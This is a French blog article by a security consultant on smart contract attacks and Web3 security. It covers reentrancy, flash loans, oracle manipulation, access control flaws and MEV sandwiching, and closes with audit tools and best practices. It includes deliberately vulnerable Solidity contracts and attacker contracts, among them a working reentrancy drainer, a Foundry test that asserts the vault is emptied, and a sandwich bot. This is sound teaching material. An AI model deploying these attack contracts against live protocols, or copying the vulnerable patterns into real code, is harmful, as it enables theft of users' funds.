Expert Cybersécurité & IA
AccueilArticlesFormations
Techniques de Hacking / Sécurité Web3

Attaques sur les Smart Contracts et la Sécurité Web3

Par Ayi NEDJIMI15 février 2026Lecture : 40 min
#SmartContracts#Web3#DeFi#Solidity#Ethereum

Auteur : Ayi NEDJIMI    Date : 15 février 2026


1. Introduction Web3

L'écosystème Web3, construit sur les blockchains programmables comme Ethereum, Solana, Avalanche et les Layer 2 (Arbitrum, Optimism, Base), gère en 2026 plus de 200 milliards de dollars en valeur verrouillée (TVL) dans les protocoles DeFi (Decentralized Finance). Les smart contracts, ces programmes autonomes déployés sur la blockchain, sont immuables une fois publiés : une vulnérabilité dans le code peut entraîner la perte irréversible de fonds.

Depuis le hack de The DAO en 2016 (60 millions de dollars perdus via reentrancy), les attaques sur les smart contracts se sont sophistiquées considérablement. Les flash loan attacks, la manipulation d'oracles de prix, le front-running via MEV (Maximal Extractable Value), et les failles de contrôle d'accès restent les vecteurs les plus dévastateurs. En 2025, plus de 1,7 milliard de dollars ont été dérobés via des exploits on-chain.

Cet article couvre les principales classes de vulnérabilités des smart contracts Solidity/EVM, les techniques d'exploitation avec des exemples de code reproductibles, et les outils d'audit modernes (Slither, Mythril, Foundry, Echidna) utilisés pour identifier ces failles avant le déploiement.


2. Reentrancy Attacks

Le principe de la reentrancy

La reentrancy est la vulnérabilité la plus emblématique des smart contracts. Elle survient quand un contrat effectue un appel externe (transfert d'ETH ou appel de fonction) avant de mettre à jour son état interne. Le contrat appelé peut alors rappeler la fonction vulnérable avant que le solde ne soit mis à jour :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// === CONTRAT VULNERABLE ===
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Insufficient balance");

        // VULNERABILITE : appel externe AVANT mise à jour du solde
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");

        // Cette ligne est exécutée APRÈS l'appel externe
        // Mais l'attaquant a déjà rappelé withdraw() !
        balances[msg.sender] = 0;
    }
}

// === CONTRAT ATTAQUANT ===
contract ReentrancyAttacker {
    VulnerableVault public vault;
    uint256 public attackCount;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");
        vault.deposit{value: 1 ether}();
        vault.withdraw();
    }

    // Cette fonction est appelée quand le vault envoie de l'ETH
    receive() external payable {
        attackCount++;
        if (address(vault).balance >= 1 ether && attackCount < 10) {
            vault.withdraw(); // Re-entre dans withdraw() !
        }
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Variantes modernes : cross-function et read-only reentrancy

// Cross-function reentrancy : exploite deux fonctions différentes
// La fonction A met à jour l'état, la fonction B le lit
// L'attaquant entre via A et rappelle B avant la mise à jour

// Read-only reentrancy (Curve Finance hack, 2023)
// Exploite un view function qui lit un état incohérent
// pendant une opération de retrait en cours

contract ReadOnlyReentrancy {
    uint256 public totalSupply;
    uint256 public totalAssets;

    // Cette fonction est "view" mais lit un état manipulable
    function getSharePrice() public view returns (uint256) {
        if (totalSupply == 0) return 1e18;
        return totalAssets * 1e18 / totalSupply;
    }

    function withdraw(uint256 shares) external {
        uint256 assets = shares * getSharePrice() / 1e18;

        // L'état est incohérent ici : totalAssets réduit mais totalSupply pas encore
        totalAssets -= assets;

        // APPEL EXTERNE : l'attaquant peut lire getSharePrice()
        // avec un état incohérent (prix artificiellement bas)
        (bool success, ) = msg.sender.call{value: assets}("");
        require(success);

        totalSupply -= shares;
    }
}

Protection contre la reentrancy

// Pattern Checks-Effects-Interactions (CEI)
function withdraw() external {
    uint256 balance = balances[msg.sender];
    require(balance > 0);

    // EFFECT : mise à jour AVANT l'appel externe
    balances[msg.sender] = 0;

    // INTERACTION : appel externe en dernier
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success);
}

// ReentrancyGuard d'OpenZeppelin
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SecureVault is ReentrancyGuard {
    function withdraw() external nonReentrant {
        // Protégé par le modifier nonReentrant
    }
}

3. Flash Loan Attacks

Les flash loans permettent d'emprunter des millions de dollars sans collatéral, à condition de rembourser dans la même transaction. Les attaquants utilisent ce capital temporaire pour manipuler les prix sur les DEX (Decentralized Exchanges) et exploiter les protocoles qui dépendent de ces prix :

// Attaque Flash Loan typique (simplifié)
// Scénario : exploiter un protocole de lending qui utilise un DEX comme oracle

interface IFlashLoanProvider {
    function flashLoan(uint256 amount, bytes calldata data) external;
}

interface IDEX {
    function swap(address tokenIn, address tokenOut, uint256 amountIn)
        external returns (uint256);
    function getPrice(address token) external view returns (uint256);
}

interface IVulnerableLending {
    function borrow(address collateral, uint256 amount) external;
    function liquidate(address user) external;
}

contract FlashLoanAttacker {
    IFlashLoanProvider public loanProvider;
    IDEX public dex;
    IVulnerableLending public lending;

    function executeAttack() external {
        // 1. Emprunter 10M USDC via flash loan (gratuit si remboursé)
        loanProvider.flashLoan(10_000_000e6, "");
    }

    function onFlashLoan(uint256 amount) external {
        // 2. Dump massif de TOKEN_A sur le DEX
        // => Le prix de TOKEN_A s'effondre temporairement
        dex.swap(TOKEN_A, USDC, hugeAmountOfTokenA);

        // 3. Le protocole de lending utilise le prix du DEX
        // => Les positions des autres utilisateurs sont sous-collatéralisées
        lending.liquidate(victimAddress);
        // => L'attaquant rachète le collatéral à prix cassé

        // 4. Racheter TOKEN_A au prix bas
        dex.swap(USDC, TOKEN_A, amount);

        // 5. Rembourser le flash loan + garder le profit
        // Tout dans UNE SEULE transaction atomique
    }
}

Exemples réels de flash loan attacks

ProtocoleDateMontant voléVecteur
Euler FinanceMars 2023197M $Flash loan + donation attack
Platypus FinanceFév 20238.5M $Flash loan + logic flaw
Cream FinanceOct 2021130M $Flash loan + oracle manipulation
bZx ProtocolFév 20208M $Flash loan + price manipulation

4. Oracle Manipulation

Les oracles fournissent des données off-chain (prix, météo, résultats sportifs) aux smart contracts. Un oracle mal implémenté est le talon d'Achille de tout protocole DeFi :

// === ORACLE VULNERABLE (spot price d'un DEX) ===
contract VulnerableOracle {
    IUniswapV2Pair public pair;

    // DANGEREUX : utilise le prix instantané manipulable
    function getPrice() public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
        return uint256(reserve1) * 1e18 / uint256(reserve0);
        // Un attaquant peut modifier les réserves avec un gros swap
        // puis appeler getPrice() dans la même transaction
    }
}

// === ORACLE SECURISE (TWAP - Time-Weighted Average Price) ===
contract SecureOracle {
    IUniswapV3Pool public pool;

    function getPrice() public view returns (uint256) {
        // TWAP sur 30 minutes : résistant à la manipulation
        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = 1800; // 30 minutes
        secondsAgos[1] = 0;    // maintenant

        (int56[] memory tickCumulatives, ) = pool.observe(secondsAgos);
        int56 tickDiff = tickCumulatives[1] - tickCumulatives[0];
        int24 avgTick = int24(tickDiff / 1800);

        return OracleLibrary.getQuoteAtTick(avgTick, 1e18, token0, token1);
    }
}

// === ORACLE CHAINLINK (meilleure pratique) ===
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract ChainlinkOracle {
    AggregatorV3Interface internal priceFeed;

    constructor() {
        // ETH/USD Mainnet
        priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
    }

    function getLatestPrice() public view returns (int256) {
        (, int256 price, , uint256 updatedAt, ) = priceFeed.latestRoundData();
        require(block.timestamp - updatedAt < 3600, "Stale price");
        require(price > 0, "Invalid price");
        return price;
    }
}

5. Access Control Flaws

Les failles de contrôle d'accès permettent à des utilisateurs non autorisés d'appeler des fonctions privilégiées. Ces vulnérabilités sont souvent subtiles et passent inaperçues lors des audits rapides :

// Faille 1 : tx.origin vs msg.sender
contract VulnerableAuth {
    address public owner;

    // DANGEREUX : tx.origin est l'adresse de l'initiateur original
    // Un contrat malveillant peut exploiter cela via phishing
    function transferOwnership(address newOwner) external {
        require(tx.origin == owner); // NE PAS UTILISER tx.origin pour l'auth
        owner = newOwner;
    }
}

// Faille 2 : initializer non protégé (proxies)
contract VulnerableProxy {
    address public admin;
    bool public initialized;

    // Si cette fonction n'est pas appelée dans le constructeur
    // N'IMPORTE QUI peut appeler initialize() et devenir admin
    function initialize(address _admin) external {
        require(!initialized, "Already initialized");
        admin = _admin;
        initialized = true;
    }
}

// Faille 3 : delegatecall vers un contrat contrôlé par l'attaquant
contract VulnerableDelegatecall {
    address public implementation;
    address public owner;

    // L'attaquant peut changer implementation puis appeler execute
    function execute(bytes calldata data) external {
        (bool success, ) = implementation.delegatecall(data);
        require(success);
        // delegatecall exécute le code de implementation
        // dans le contexte de CE contrat (storage, msg.sender)
        // => peut modifier owner, vider les fonds, etc.
    }
}

// Faille 4 : fonction de self-destruct non protégée
contract VulnerableSelfDestruct {
    // N'importe qui peut détruire le contrat et voler les fonds
    function destroy() external {
        selfdestruct(payable(msg.sender));
    }
}

6. Front-Running et MEV

Le MEV (Maximal Extractable Value) est la valeur que les validateurs/séquenceurs peuvent extraire en réordonnant, insérant ou censurant les transactions dans un bloc. Les "searchers" MEV utilisent des bots pour exploiter les opportunités d'arbitrage, de liquidation et de sandwich attack :

// Sandwich Attack : l'attaquant entoure une transaction victime
// 1. Victime soumet : swap 100 ETH -> USDC sur Uniswap (slippage 1%)
// 2. Attaquant front-run : achète massivement USDC avant la victime
//    => Le prix de USDC augmente
// 3. Transaction victime s'exécute au prix majoré
// 4. Attaquant back-run : vend USDC juste après
//    => Profit = différence de prix - gas fees

// Bot MEV simplifié (Foundry/Solidity)
contract SandwichBot {
    IUniswapV2Router02 public router;

    function executeSandwich(
        address tokenIn,
        address tokenOut,
        uint256 frontrunAmount,
        uint256 victimMinOutput  // Slippage de la victime
    ) external {
        // Front-run : acheter avant la victime
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;

        router.swapExactTokensForTokens(
            frontrunAmount, 0, path, address(this), block.timestamp
        );

        // ... la transaction de la victime s'exécute ici ...
        // (le bot a soumis sa TX avec un gas price plus élevé)

        // Back-run : vendre après la victime
        path[0] = tokenOut;
        path[1] = tokenIn;
        uint256 balance = IERC20(tokenOut).balanceOf(address(this));
        router.swapExactTokensForTokens(
            balance, 0, path, address(this), block.timestamp
        );
    }
}

// Protection : utiliser un DEX avec protection MEV
// - Flashbots Protect (transactions privées)
// - CoW Protocol (batch auctions, pas de front-running)
// - UniswapX (enchères off-chain, exécution on-chain)

7. Outils d'Audit (Slither, Mythril, Foundry)

Slither (analyse statique)

# Slither : analyseur statique de référence pour Solidity
# Développé par Trail of Bits
pip install slither-analyzer

# Analyse d'un contrat
slither contracts/Vault.sol
# Détecteurs activés par défaut :
# - reentrancy-eth (High)
# - reentrancy-no-eth (Medium)
# - uninitialized-state (High)
# - arbitrary-send-eth (High)
# - controlled-delegatecall (High)
# - suicidal (High)
# - tx-origin (Medium)

# Analyse avec sortie détaillée
slither contracts/ --print human-summary
slither contracts/ --print function-summary

# Détection de vulnérabilités spécifiques
slither contracts/ --detect reentrancy-eth,arbitrary-send-eth

# Export des findings en JSON (intégration CI/CD)
slither contracts/ --json findings.json

Mythril (exécution symbolique)

# Mythril : détection de vulnérabilités par exécution symbolique
pip install mythril

# Analyse d'un contrat déployé
myth analyze -a 0xContractAddress --rpc infura

# Analyse d'un fichier source
myth analyze contracts/Vault.sol --solv 0.8.20

# Détections incluant :
# - Integer overflow/underflow (avant Solidity 0.8)
# - Reentrancy
# - Unprotected selfdestruct
# - Arbitrary write/read
# - Unchecked return values

# Analyse approfondie (plus de chemins d'exécution)
myth analyze contracts/Vault.sol --execution-timeout 600 --max-depth 50

Foundry (tests et fuzzing)

# Foundry : framework de développement et test Solidity
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Test de reentrancy avec Foundry
// test/ReentrancyTest.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableVault vault;
    ReentrancyAttacker attacker;

    function setUp() public {
        vault = new VulnerableVault();
        attacker = new ReentrancyAttacker(address(vault));

        // Déposer des fonds dans le vault (victimes)
        vm.deal(address(this), 10 ether);
        vault.deposit{value: 10 ether}();
    }

    function testReentrancyAttack() public {
        vm.deal(address(attacker), 1 ether);
        uint256 vaultBalanceBefore = address(vault).balance;

        attacker.attack{value: 1 ether}();

        // Vérifier que l'attaquant a volé tous les fonds
        assertGt(address(attacker).balance, 1 ether);
        assertEq(address(vault).balance, 0);
        emit log_named_uint("Stolen", address(attacker).balance - 1 ether);
    }
}

# Lancer les tests
forge test -vvvv

# Fuzzing avec Foundry (Echidna-like)
function testFuzz_withdraw(uint256 amount) public {
    vm.assume(amount > 0 && amount <= address(vault).balance);
    // Le fuzzer teste des milliers de valeurs aléatoires
}

# Invariant testing
forge test --mt invariant

8. Conclusion

La sécurité des smart contracts est un domaine où les erreurs sont irréversibles et les enjeux financiers considérables. L'immuabilité de la blockchain signifie qu'un contrat vulnérable déployé ne peut pas être "patché" comme un serveur web classique. Les proxy patterns (UUPS, Transparent Proxy) permettent les mises à jour, mais ajoutent leur propre surface d'attaque.

L'audit de smart contracts doit combiner analyse statique automatisée (Slither, Mythril), tests de fuzzing intensifs (Foundry, Echidna), revue manuelle par des experts, et vérification formelle pour les contrats critiques (Certora). Les programmes de bug bounty (Immunefi, Code4rena) complètent cette approche en mobilisant la communauté de chercheurs en sécurité.

Bonnes pratiques de sécurité smart contracts

  • Suivre le pattern Checks-Effects-Interactions (CEI) systématiquement
  • Utiliser les bibliothèques auditées OpenZeppelin (ReentrancyGuard, AccessControl, Pausable)
  • Implémenter des oracles résistants (Chainlink, TWAP sur 30+ minutes)
  • Ajouter des mécanismes de pause d'urgence (circuit breaker)
  • Limiter les montants par transaction (rate limiting)
  • Faire auditer par 2+ cabinets indépendants avant le mainnet
  • Déployer un programme de bug bounty avec récompenses proportionnelles à la TVL
  • Utiliser des proxies upgradeable avec timelock pour les mises à jour

Passez à l'Action

Nos experts auditent vos smart contracts avec une méthodologie combinant analyse statique, fuzzing et revue manuelle.

Demander un Devis Personnalisé
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Ressources & Références

Références et ressources externes

  • OWASP Testing Guide — Guide de référence pour les tests de sécurité web
  • OWASP Smart Contract Top 10 — Les 10 vulnérabilités majeures des smart contracts
  • PortSwigger Academy — Ressources d'apprentissage en sécurité web
  • CWE — Common Weakness Enumeration — catalogue de faiblesses logicielles
  • NVD — National Vulnerability Database — base de vulnérabilités du NIST
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersécurité ?

Audit de smart contracts et sécurité Web3

Nos Services